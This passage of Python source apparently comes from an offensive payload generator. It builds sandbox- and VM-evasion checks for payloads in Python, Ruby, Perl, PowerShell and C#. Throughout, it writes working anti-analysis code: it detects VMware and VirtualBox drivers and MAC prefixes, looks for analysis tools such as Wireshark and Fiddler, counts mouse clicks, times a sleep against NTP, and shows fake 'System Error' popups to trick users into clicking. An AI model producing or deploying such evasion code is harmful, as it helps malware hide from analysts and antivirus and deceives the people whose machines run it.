evasion_payload.required_options["CLICKTRACK"][0].lower() != "x": rand_counter = evasion_helpers.randomString() minimum_clicks = evasion_helpers.randomString() left_click = evasion_helpers.randomString() right_click = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import win32api\n' check_code += '\t' * num_tabs_required + rand_counter + " = 0\n" check_code += '\t' * num_tabs_required + minimum_clicks + " = " + evasion_payload.required_options["CLICKTRACK"][0] + "\n" check_code += '\t' * num_tabs_required + 'while ' + rand_counter + ' < ' + minimum_clicks + ':\n' check_code += '\t' * num_tabs_required + '\t' + left_click + ' = win32api.GetAsyncKeyState(1)\n' check_code += '\t' * num_tabs_required + '\t' + right_click + ' = win32api.GetAsyncKeyState(2)\n' check_code += '\t' * num_tabs_required + '\t' + 'if ' + left_click + ' % 2 == 1:\n' check_code += '\t' * num_tabs_required + '\t\t' + rand_counter + ' += 1\n' check_code += '\t' * num_tabs_required + '\t' + 'if ' + right_click + ' % 2 == 1:\n' check_code += '\t' * num_tabs_required + '\t\t' + rand_counter + ' += 1\n' check_code += '\t' * num_tabs_required + 'if ' + rand_counter + ' >= ' + minimum_clicks + ':\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["VIRTUALFILES"][0].lower() != "false": vmfiles_exist = evasion_helpers.randomString() files_tocheck = evasion_helpers.randomString() file_path = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import os\n' check_code += '\t' * num_tabs_required + vmfiles_exist + ' = []\n' check_code += '\t' * num_tabs_required + files_tocheck + " = [r'C:\windows\Sysnative\Drivers\Vmmouse.sys', r'C:\windows\Sysnative\Drivers\vm3dgl.dll', r'C:\windows\Sysnative\Drivers\vmdum.dll', r'C:\windows\Sysnative\Drivers\vm3dver.dll', r'C:\windows\Sysnative\Drivers\vmtray.dll', r'C:\windows\Sysnative\Drivers\vmci.sys', r'C:\windows\Sysnative\Drivers\vmusbmouse.sys', r'C:\windows\Sysnative\Drivers\vmx_svga.sys', r'C:\windows\Sysnative\Drivers\vmxnet.sys', r'C:\windows\Sysnative\Drivers\VMToolsHook.dll', r'C:\windows\Sysnative\Drivers\vmhgfs.dll', r'C:\windows\Sysnative\Drivers\vmmousever.dll', r'C:\windows\Sysnative\Drivers\vmGuestLib.dll', r'C:\windows\Sysnative\Drivers\VmGuestLibJava.dll', r'C:\windows\Sysnative\Drivers\vmscsi.sys', r'C:\windows\Sysnative\Drivers\VBoxMouse.sys', r'C:\windows\Sysnative\Drivers\VBoxGuest.sys', r'C:\windows\Sysnative\Drivers\VBoxSF.sys', r'C:\windows\Sysnative\Drivers\VBoxVideo.sys', r'C:\windows\Sysnative\vboxdisp.dll', r'C:\windows\Sysnative\vboxhook.dll', r'C:\windows\Sysnative\vboxmrxnp.dll', r'C:\windows\Sysnative\vboxogl.dll', r'C:\windows\Sysnative\vboxoglarrayspu.dll', r'C:\windows\Sysnative\vboxoglcrutil.dll', r'C:\windows\Sysnative\vboxoglerrorspu.dll', r'C:\windows\Sysnative\vboxoglfeedbackspu.dll', r'C:\windows\Sysnative\vboxoglpackspu.dll', r'C:\windows\Sysnative\vboxoglpassthroughspu.dll', r'C:\windows\Sysnative\vboxservice.exe', r'C:\windows\Sysnative\vboxtray.exe', r'C:\windows\Sysnative\VBoxControl.exe']" check_code += '\t' * num_tabs_required + 'for ' + file_path + ' in ' + files_tocheck + ':\n' check_code += '\t' * num_tabs_required + '\tif os.path.isfile(' + file_path + '):\n' check_code += '\t' * num_tabs_required + '\t\t' + vmfiles_exist + '.append(' + file_path + ')' check_code += '\t' * num_tabs_required + 'if not ' + vmfiles_exist + ':\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["CURSORMOVEMENT"][0].lower() != "false": seconds = evasion_helpers.randomString() x_position = evasion_helpers.randomString() y_position = evasion_helpers.randomString() x2_position = evasion_helpers.randomString() y2_position = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'from time import sleep\n' check_code += '\t' * num_tabs_required + 'import win32api\n' check_code += '\t' * num_tabs_required + seconds + ' = 30\n' check_code += '\t' * num_tabs_required + x_position + ', ' + y_position + ' = win32api.GetCursorPos()\n' check_code += '\t' * num_tabs_required + 'sleep(30)\n' check_code += '\t' * num_tabs_required + x2_position + ', ' + y2_position + ' = win32api.GetCursorPos()\n' check_code += '\t' * num_tabs_required + 'if ' + x_position + ' - ' + x2_position + ' != 0 or ' + y_position + ' - ' + y2_position + ' != 0:\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": popup_title = evasion_helpers.randomString() popup_message = evasion_helpers.randomString() message_box = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import ctypes\n' check_code += '\t' * num_tabs_required + popup_title + ' = "System Error 0x18463832"\n' check_code += '\t' * num_tabs_required + popup_message + ' = "Your system encountered an error, please click OK to proceed"\n' check_code += '\t' * num_tabs_required + message_box + ' = ctypes.windll.user32.MessageBoxW\n' check_code += '\t' * num_tabs_required + message_box + '(None, ' + popup_message + ', ' + popup_title + ', 0)\n' check_code += '\t' * num_tabs_required + 'if True:\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["SANDBOXPROCESS"][0].lower() != "false": sandbox_exist = evasion_helpers.randomString() bad_procs = evasion_helpers.randomString() current_processes = evasion_helpers.randomString() process = evasion_helpers.randomString() sandbox_proc = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import win32pdh\n' check_code += '\t' * num_tabs_required + sandbox_exist + ' = []\n' check_code += '\t' * num_tabs_required + bad_procs + ' = "vmsrvc", "tcpview", "wireshark", "visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs"\n' check_code += '\t' * num_tabs_required + '_, ' + current_processes + ' = win32pdh.EnumObjectItems(None,None,\'process\', win32pdh.PERF_DETAIL_WIZARD)\n' check_code += '\t' * num_tabs_required + 'for ' + process + ' in ' + current_processes + ':\n' check_code += '\t' * num_tabs_required + '\tfor ' + sandbox_proc + ' in ' + bad_procs + ':\n' check_code += '\t' * num_tabs_required + '\t\tif ' + sandbox_proc + ' in str(' + process + '.lower()):\n' check_code += '\t' * num_tabs_required + '\t\t\t' + sandbox_exist + '.append(' + process + ')\n' check_code += '\t' * num_tabs_required + '\t\t\tbreak\n' check_code += '\t' * num_tabs_required + 'if not ' + sandbox_exist + ':\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": time_import = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'import time as ' + time_import + '\n' check_code += '\t' * num_tabs_required + 'if ' + time_import + '.tzname[0] != "Coordinated Universal Time" and ' + time_import + '.tzname[1] != "Coordinated Universal Time":\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["SLEEP"][0].lower() != "x": rand_time_name = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'from time import sleep\n' check_code += '\t' * num_tabs_required + 'from socket import AF_INET, SOCK_DGRAM\n' check_code += '\t' * num_tabs_required + 'import sys\n' check_code += '\t' * num_tabs_required + 'import datetime\n' check_code += '\t' * num_tabs_required + 'import time\n' check_code += '\t' * num_tabs_required + 'import socket\n' check_code += '\t' * num_tabs_required + 'import struct\n' check_code += '\t' * num_tabs_required + 'client = socket.socket(AF_INET, SOCK_DGRAM)\n' check_code += '\t' * num_tabs_required + 'client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))\n' check_code += '\t' * num_tabs_required + 'msg, address = client.recvfrom( 1024 )\n' check_code += '\t' * num_tabs_required + rand_time_name + ' = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)\n' check_code += '\t' * num_tabs_required + 'sleep(' + evasion_payload.required_options["SLEEP"][0] + ')\n' check_code += '\t' * num_tabs_required + 'client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))\n' check_code += '\t' * num_tabs_required + 'msg, address = client.recvfrom( 1024 )\n' check_code += '\t' * num_tabs_required + 'if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - ' + rand_time_name + ').seconds >= ' + evasion_payload.required_options["SLEEP"][0] + '):\n' # Add a tab for this check num_tabs_required += 1 # Return check information return check_code, num_tabs_required elif evasion_payload.language == 'ruby': if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": check_code += 'require \'socket\'\n' check_code += 'hostname = Socket.gethostname.downcase\n' check_code += 'if hostname[\"' + evasion_payload.required_options["HOSTNAME"][0].lower() + '\"]\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["DOMAIN"][0].lower() != "x": check_code += 'require \'socket\'\n' check_code += 'domain = Socket.gethostname.downcase\n' check_code += 'if domain[\"' + evasion_payload.required_options["DOMAIN"][0].lower() + '\"]\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["USERNAME"][0].lower() != "x": check_code += 'name = ENV["USERNAME"].downcase\n' check_code += 'if name[\"' + evasion_payload.required_options["USERNAME"][0].lower() + '\"]\n' # Add a tab for this check num_tabs_required += 1 #if evasion_payload.required_options["DISKSIZE"][0].lower() != "x": # check_code += "require 'win32api'\n" # check_code += 'minDiskSizeGB = 50\n' # check_code += "GetDiskFreeSpaceEx = Win32API.new(\"kernel32\", \"GetDiskFreeSpaceEx\", ['P','P','P','P'], 'I')\n" # check_code += 'diskSizeBytes = [0].pack("Q"); freeBytesAvail = [0].pack("Q"); totalFreeBytes = [0].pack("Q")\n' # check_code += 'GetDiskFreeSpaceEx.call("C:", freeBytesAvail, diskSizeBytes, totalFreeBytes)\n' # check_code += 'diskSizeGB = diskSizeBytes.unpack("Q").first / 1073741824.0\n' # check_code += 'if diskSizeGB > minDiskSizeGB' # Add a tab for this check # num_tabs_required += 1 #if evasion_payload.required_options["NUMPROCS"][0].lower() != "x": # check_code += "require 'win32ole'\n" # check_code += 'if (WIN32OLE.connect("winmgmts://").ExecQuery("SELECT NumberOfCores FROM Win32_Processor").to_enum.first.NumberOfCores >= ' + evasion_payload.required_options["NUMPROCS"][0] + ')\n' # Add a tab for this check # num_tabs_required += 1 #if evasion_payload.required_options["MINRAM"][0].lower() != 'x': #if evasion_payload.required_options["USERPROMPT"][0].lower() != "x": ## title_bar = evasion_helpers.randomString() # body_text = evasion_helpers.randomString() # winapi_call = evasion_helpers.randomString() # check_code += 'require "Win32API"\n' # check_code += title_bar + ' = "System Error Encountered"\n' # check_code += body_text + ' = "Error encountered at address 0x41d3837f. Press OK to continue"\n' # check_code += winapi_call + " = Win32API.new('user32', 'MessageBox',['L', 'P', 'P', 'L'],'I')\n" # check_code += winapi_call + '.call(0,dialogBoxMessage,dialogBoxTitle,0)\n' # check_code += 'if true\n' # Add a tab for this check # num_tabs_required += 1 if evasion_payload.required_options["SLEEP"][0].lower() != "x": check_code += 'require \'socket\'\n' check_code += 'ntp_msg = (["00011011"] + Array.new(47,1)).pack("B8 C47")\n' check_code += 'sock = UDPSocket.new;sock.connect("us.pool.ntp.org", 123);sock.print ntp_msg;sock.flush;data,_ = sock.recvfrom(960);sock.close\n' check_code += 'firstTime = Time.at(data.unpack("B319 B32 B32")[1].to_i(2) - 2208988800)\n' check_code += 'sleep(' + evasion_payload.required_options["SLEEP"][0] + ')\n' check_code += 'sock = UDPSocket.new;sock.connect("us.pool.ntp.org", 123);sock.print ntp_msg;sock.flush;data,_ = sock.recvfrom(960)\n' check_code += 'if (Time.at(data.unpack("B319 B32 B32")[1].to_i(2) - 2208988800) - firstTime >= ' + evasion_payload.required_options["SLEEP"][0] + ')\n' # Add a tab for this check num_tabs_required += 1 # Return check information return check_code, num_tabs_required elif evasion_payload.language == 'perl': if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": rand_hostname = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'Use Sys::Hostname;\n' check_code += '\t' * num_tabs_required + 'my $' + rand_hostname + ' = hostname;\n' check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_hostname + '), lc(' + evasion_payload.required_options["HOSTNAME"][0] + ')) != -1){\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["USERPROMPT"][0].lower() != 'x': flags = evasion_helpers.randomString() title_bar_prompt = evasion_helpers.randomString() message_prompt = evasion_helpers.randomString() msg_box = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use Win32;\n' check_code += '\t' * num_tabs_required + '$' + flags + ' = 0x0;\n' check_code += '\t' * num_tabs_required + '$' + msg_box + ' = new Win32::API ( "user32", "MessageBox", [N, P, P, I], N );\n' check_code += '\t' * num_tabs_required + '$' + msg_box + '->Call ( 0, "System error at 0x48d72ac3. Press OK to continue.", "System Error Encountered", $' + flags + ');' check_code += '\t' * num_tabs_required + 'if (1) {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["RAMSIZE"][0].lower() != 'x': wmi_cim = evasion_helpers.randomString() total_ram = evasion_helpers.randomString() subMem = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use Win32::OLE qw(EVENTS HRESULT in);\n' check_code += '\t' * num_tabs_required + 'my $' + wmi_cim + ' = Win32::OLE->GetObject("WINMGMTS://./root/CIMv2");\n' check_code += '\t' * num_tabs_required + 'my $' + total_ram + ' = 0;\n' check_code += '\t' * num_tabs_required + 'foreach my $' + subMem + ' (in($' + wmi_cim + '->InstancesOf("Win32_PhysicalMemory"))) {\n' check_code += '\t' * num_tabs_required + '\t$' + total_ram + ' += $' + subMem + '->{Capacity};\n' check_code += '\t' * num_tabs_required + '}\n' check_code += '\t' * num_tabs_required + 'if ($' + total_ram + '/1073741824 > ' + evasion_payload.required_options["RAMSIZE"][0] + ') {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["FILENAME"][0].lower() != 'x': expected_name = evasion_helpers.randomString() actual_name = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use File::Basename;\n' check_code += '\t' * num_tabs_required + 'my $' + expected_name + ' = "' + evasion_payload.required_options["FILENAME"][0].lower() + '";\n' check_code += '\t' * num_tabs_required + 'my $' + actual_name + ' = basename($0);\n' check_code += '\t' * num_tabs_required + 'if (index($' + actual_name + ', $' + expected_name + ') != -1) {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["NUMPROCS"][0].lower() != 'x': min_procs = evasion_helpers.randomString() wmi_var = evasion_helpers.randomString() total_procs = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' check_code += '\t' * num_tabs_required + 'my $' + min_procs + ' = ' + evasion_payload.required_options["NUMPROCS"][0] + ';\n' check_code += '\t' * num_tabs_required + 'my $' + wmi_var + ' = Win32::OLE->GetObject("winmgmts:\\\\\\\\localhost\\\\root\\\\CIMV2") or die;\n' check_code += '\t' * num_tabs_required + 'my $' + total_procs + ' = $' + wmi_var + '->ExecQuery("SELECT * FROM Win32_Process")->{Count} or die;\n' check_code += '\t' * num_tabs_required + 'if ($' + total_procs + ' > $' + min_procs + ') {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["DISKSIZE"][0].lower() != 'x': min_disksize = evasion_helpers.randomString() file_object = evasion_helpers.randomString() real_disksize = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' check_code += '\t' * num_tabs_required + 'my $' + min_disksize + ' = ' + evasion_payload.required_options['DISKSIZE'][0] + ';\n' check_code += '\t' * num_tabs_required + 'my $' + file_object + ' = Win32::OLE->CreateObject("Scripting.FileSystemObject");\n' check_code += '\t' * num_tabs_required + 'my $' + real_disksize + ' = $' + file_object + '->GetDrive("C:")->{TotalSize}/1073741824.0;\n' check_code += '\t' * num_tabs_required + 'if ($' + min_disksize + ' < $' + real_disksize + ') {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["NUMCLICKS"][0].lower() != 'x': perl_min_clicks = evasion_helpers.randomString() perl_key_state = evasion_helpers.randomString() click_count = evasion_helpers.randomString() perl_leftclick = evasion_helpers.randomString() perl_rightclick = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'my $' + perl_min_clicks + ' = ' + evasion_payload.required_options["NUMCLICKS"][0] + ';\n' check_code += '\t' * num_tabs_required + 'my $' + perl_key_state + ' = new Win32::API("user32", "GetAsyncKeyState", +"I", "N");\n' check_code += '\t' * num_tabs_required + 'my $' + click_count + ' = 0;\n' check_code += '\t' * num_tabs_required + 'while ($' + click_count + ' < $' + perl_min_clicks + ') {\n' check_code += '\t' * num_tabs_required + '\tmy $' + perl_leftclick + ' = $' + perl_key_state + '->Call(1);\n' check_code += '\t' * num_tabs_required + '\tmy $' + perl_rightclick + ' = $' + perl_key_state + '->Call(2);\n' check_code += '\t' * num_tabs_required + '\tif ($' + perl_leftclick + ') {\n' check_code += '\t' * num_tabs_required + '\t\t++$' + click_count + ';\n' check_code += '\t' * num_tabs_required + '\t}\n' check_code += '\t' * num_tabs_required + '\tif ($' + perl_rightclick + ') {\n' check_code += '\t' * num_tabs_required + '\t\t++$' + click_count + ';\n' check_code += '\t' * num_tabs_required + '\t}\n' check_code += '\t' * num_tabs_required + '\tsleep(2);\n' check_code += '\t' * num_tabs_required + '}\n' check_code += '\t' * num_tabs_required + 'if (1) {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["REGSIZE"][0].lower() != 'x': reg_mb_size = evasion_helpers.randomString() perl_wmi = evasion_helpers.randomString() reg_dump = evasion_helpers.randomString() reg_size = evasion_helpers.randomString() perl_reg_obj = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' check_code += '\t' * num_tabs_required + 'my $' + reg_mb_size + ' = ' + evasion_payload.required_options["REGSIZE"][0] + ';\n' check_code += '\t' * num_tabs_required + 'my $' + perl_wmi + ' = Win32::OLE->GetObject("winmgmts:\\\\\\\\localhost\\\\root\\\\CIMV2") or die;\n' check_code += '\t' * num_tabs_required + 'my $' + reg_dump + ' = $' + perl_wmi + '->ExecQuery("SELECT CurrentSize from Win32_Registry") or die;\n' check_code += '\t' * num_tabs_required + 'my $' + reg_size + ';\n' check_code += '\t' * num_tabs_required + 'foreach my $' + perl_reg_obj + ' (in $' + reg_dump + ') { $' + reg_size + ' = $' + perl_reg_obj + '->CurrentSize; }\n' check_code += '\t' * num_tabs_required + 'if ($' + reg_size + ' > $' + reg_mb_size + ') {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["USERNAME"][0].lower() != "x": rand_name = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'my $' + rand_name + ' = Win32::LoginName;\n' check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_name + '), lc(\"' + evasion_payload.required_options["USERNAME"][0] + '\")) != -1){\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["DOMAIN"][0].lower() != "x": rand_domain = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'use Net::Domain qw (hostdomain);\n' check_code += '\t' * num_tabs_required + 'my $' + rand_domain + ' = hostdomain();\n' check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_domain + '), lc(\"' + evasion_payload.required_options["DOMAIN"][0] + '\")) != -1){\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": rand_corecount = evasion_helpers.randomString() check_code += '\t' * num_tabs_required + 'my $' + rand_corecount + ' = $ENV{\"NUMBER_OF_PROCESSORS\"};' check_code += '\t' * num_tabs_required + 'if ($' + rand_corecount + ' >= '+ evasion_payload.required_options["PROCESSORS"][0] + '){\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["SLEEP"][0].lower() != "x": check_code += '\t' * num_tabs_required + 'use IO::Socket;' check_code += '\t' * num_tabs_required + 'my $firstTime;my $secondTime;my $sock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' check_code += '\t' * num_tabs_required + 'my $NTPTransmit = pack("B384", "00100011", (0)x14);my $secondTransmit = pack("B384", "00100011", (0)x14);\n' check_code += '\t' * num_tabs_required + '$sock->send($NTPTransmit);$sock->recv($NTPTransmit, 384);my ($Ignore, $firstTime, $Ignore2)=unpack("B319 N B32",$NTPTransmit);$firstTime -= 2208988800;$sock->close;\n' check_code += '\t' * num_tabs_required + 'sleep ' + evasion_payload.required_options["SLEEP"][0] + ';\n' check_code += '\t' * num_tabs_required + 'my $newSock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' check_code += '\t' * num_tabs_required + '$newSock->send($secondTransmit);$newSock->recv($secondTransmit, 384);my ($Ignore, $secondTime, $Ignore2)=unpack("B319 N B32",$secondTransmit);$newSock->close;\n' check_code += '\t' * num_tabs_required + 'my $newSock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' check_code += '\t' * num_tabs_required + 'if ((($secondTime - 2208988800) - $firstTime) >= ' + evasion_payload.required_options["SLEEP"][0] + ') {\n' # Add a tab for this check num_tabs_required += 1 # Return check information return check_code, num_tabs_required elif evasion_payload.language == 'powershell': if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": check_code += "if($env:computername -eq \"" + evasion_payload.required_options["HOSTNAME"][0].lower() + "\") {\n" num_tabs_required += 1 if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": standard_time_zone = evasion_helpers.randomString() daylight_time_zone = evasion_helpers.randomString() check_code += "$" + standard_time_zone + ' = [System.TimeZone]::CurrentTimeZone.StandardName\n' check_code += "$" + daylight_time_zone + ' = [System.TimeZone]::CurrentTimeZone.DaylightName\n' check_code += "if ($" + standard_time_zone + ' -ne "Coordinated Universal Time" -or $' + daylight_time_zone + ' -eq "Coordinated Universal Time") {\n' num_tabs_required += 1 if evasion_payload.required_options["MINRAM"][0].lower() != "false": check_code += "if ((Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576 -gt 3) {\n" num_tabs_required += 1 if evasion_payload.required_options["VIRTUALPROC"][0].lower() != "false": evidenceof_sandbox = evasion_helpers.randomString() sandbox_processes = evasion_helpers.randomString() running_processes = evasion_helpers.randomString() running_proc = evasion_helpers.randomString() sandbox_proc = evasion_helpers.randomString() check_code += '$' + evidenceof_sandbox + ' = New-Object System.Collections.ArrayList\n' check_code += '$' + sandbox_processes + ' = "vmsrvc", "tcpview", "wireshark","visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs"\n' check_code += '$' + running_processes + ' = Get-Process\n' check_code += 'ForEach ($' + running_proc + ' in $' + running_processes + ') {\n' check_code += '\tForEach ($' + sandbox_proc + ' in $' + sandbox_processes + ') {\n' check_code += '\t\tif ($' + running_proc + '.ProcessName | Select-String $' + sandbox_proc + ') {\n' check_code += '\t\t\tif ($' + evidenceof_sandbox + ' -NotContains $' + running_proc+ '.ProcessName) {\n' check_code += '\t\t\t\t[void]$' + evidenceof_sandbox + '.Add($' + running_proc + '.ProcessName)\n' check_code += '\t\t\t}\n' check_code += '\t\t}\n' check_code += '\t}\n' check_code += '}\n' check_code += 'if ($' + evidenceof_sandbox + '.count -eq 0) {\n' num_tabs_required += 1 if evasion_payload.required_options["MINBROWSERS"][0].lower() != "false": browser_count = evasion_helpers.randomString() browser_keys = evasion_helpers.randomString() browser_key = evasion_helpers.randomString() check_code += '$' + browser_count + ' = 0\n' check_code += '$' + browser_keys + " = 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe', 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\iexplore.exe', 'SOFTWARE\Mozilla'\n" check_code += 'ForEach ($' + browser_key + ' in $' + browser_keys + ') {\n' check_code += '\tif (Test-Path ("HKLM:\" + $' + browser_key + ')) {\n' check_code += '\t\t++$' + browser_count + '\n' check_code += '\t}\n' check_code += '}\n' check_code += 'if ($' + browser_count + ' -ge 2) {\n' num_tabs_required += 1 if evasion_payload.required_options["BADMACS"][0].lower() != "false": sand_macs = evasion_helpers.randomString() bad_macs = evasion_helpers.randomString() current_macs = evasion_helpers.randomString() mac_addy = evasion_helpers.randomString() badmac_addy = evasion_helpers.randomString() check_code += '$' + sand_macs + ' = New-Object System.Collections.ArrayList\n' check_code += '$' + bad_macs + " = '00:0C:29', '00:1C:14', '00:50:56', '00:05:69', '08:00:27'\n" check_code += '$' + current_macs + ' = Get-WmiObject Win32_NetworkAdapterConfiguration | Select -ExpandProperty MACAddress\n' check_code += 'ForEach ($' + mac_addy + ' in $' + current_macs + ') {\n' check_code += '\tForEach ($' + badmac_addy + ' in $' + bad_macs + ') {\n' check_code += '\t\tif ($' + mac_addy + ' | Select-String $' + badmac_addy + ') {\n' check_code += '\t\t\t[void]$' + sand_macs + '.Add($' + mac_addy + ')\n' check_code += '\t\t}\n' check_code += '\t}\n' check_code += '}\n' check_code += 'if ($' + sand_macs + '.count -eq 0) {\n' num_tabs_required += 1 if evasion_payload.required_options["MINPROCESSES"][0].lower() != "x": minimum_processes = evasion_helpers.randomString() running_procs = evasion_helpers.randomString() check_code += '$' + minimum_processes + ' = ' + evasion_payload.required_options["MINPROCESSES"][0] + '\n' check_code += '$' + running_procs + ' = (Get-Process).count\n' check_code += 'if ($' + running_procs + ' -ge $' + minimum_processes + ') {\n' num_tabs_required += 1 if evasion_payload.required_options["DOMAIN"][0].lower() != "x": check_code += "if((Get-WMIObject -Class Win32_ComputerSystem).Domain -eq \"" + evasion_payload.required_options["DOMAIN"][0].lower() + "\") {\n" num_tabs_required += 1 if evasion_payload.required_options["USERNAME"][0].lower() != "x": check_code += "if($env:username -eq \"" + evasion_payload.required_options["USERNAME"][0].lower() + "\") {\n" num_tabs_required += 1 if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": check_code += "if((Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors -ge " + evasion_payload.required_options["PROCESSORS"][0].lower() + ") {\n" num_tabs_required += 1 if evasion_payload.required_options["SLEEP"][0].lower() != "x": check_code += "[Byte[]]$NTPTransmit=,1*48;$NTPTransmit[0]=0x1B;[Byte[]]$secondTransmit=,1*48;$secondTransmit[0]=0x1B;$noAccess=$false;" check_code += "Try{$Socket=New-Object Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp);$Socket.Connect('us.pool.ntp.org',123);[Void]$Socket.Send($NTPTransmit);[Void]$Socket.Receive($NTPTransmit)}catch{$noAccess=$true};" check_code += "$runTotal=0;ForEach($Index in $NTPTransmit[40..43]){$runTotal=$runTotal*256+$Index};$firstTime=(New-Object DateTime(1900,1,1,0,0,0,[DateTimeKind]::Utc)).AddMilliseconds([UInt64]($runTotal*1000)).Second;" check_code += "Start-Sleep -s " + evasion_payload.required_options["SLEEP"][0] + ";" check_code += "Try{$NewSock=New-Object Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp);$NewSock.Connect('us.pool.ntp.org',123);[Void]$NewSock.Send($secondTransmit);[Void]$NewSock.Receive($secondTransmit);$NewSock.Close()}catch{$noAccess=$true};" check_code += "$runTotal=0;ForEach($Index in $secondTransmit[40..43]){$runTotal=$runTotal*256+$Index}\n" check_code += "if ((New-Object DateTime(1900,1,1,0,0,0,[DateTimeKind]::Utc)).AddMilliseconds([UInt64]($runTotal*1000)).Second - $firstTime -ge " + evasion_payload.required_options["SLEEP"][0] + " -or $noAccess) {\n" num_tabs_required += 1 if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": dialog_title = evasion_helpers.randomString() dialog_text = evasion_helpers.randomString() message_box = evasion_helpers.randomString() check_code += '$' + dialog_title + ' = "System error encountered!"\n' check_code += '$' + dialog_text + ' = "Error 0x8163819f - Please hit OK to continue"\n' check_code += '$' + message_box + ' = New-Object -COMObject WScript.Shell\n' check_code += '[void]$' + message_box + '.Popup($' + dialog_text + ',0,$' + dialog_title + ',0)\n' check_code += 'if ($true) {\n' num_tabs_required += 1 # Return check information return check_code, num_tabs_required elif evasion_payload.language == 'cs': if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": RandToday = evasion_helpers.randomString() RandExpire = evasion_helpers.randomString() # Create Payload code check_code += '\t' * num_tabs_required + 'DateTime {} = DateTime.Today;\n'.format(RandToday) check_code += '\t' * num_tabs_required + 'DateTime {} = {}.AddDays({});\n'.format(RandExpire, RandToday, evasion_payload.required_options["EXPIRE_PAYLOAD"][0]) check_code += '\t' * num_tabs_required + 'if ({} < {}) {{\n'.format(RandExpire, RandToday) # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": check_code += '\t' * num_tabs_required + 'if (System.Environment.MachineName.ToLower().Contains("{}")) {{\n'.format(evasion_payload.required_options["HOSTNAME"][0].lower()) # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["TIMEZONE"][0].lower() != 'x': check_code += '\t' * num_tabs_required + 'if (TimeZone.CurrentTimeZone.StandardName != "Coordinated Universal Time") {\n' # Add a tab for this check num_tabs_required += 1 if evasion_payload.required_options["DEBUGGER"][0].lower() != 'x': check_code += '\t' * num_tabs_required + 'if (!System.Diagnostics.Debugger.IsAttached) {\n' # Add a tab for this check num_tabs_required += 1 #if 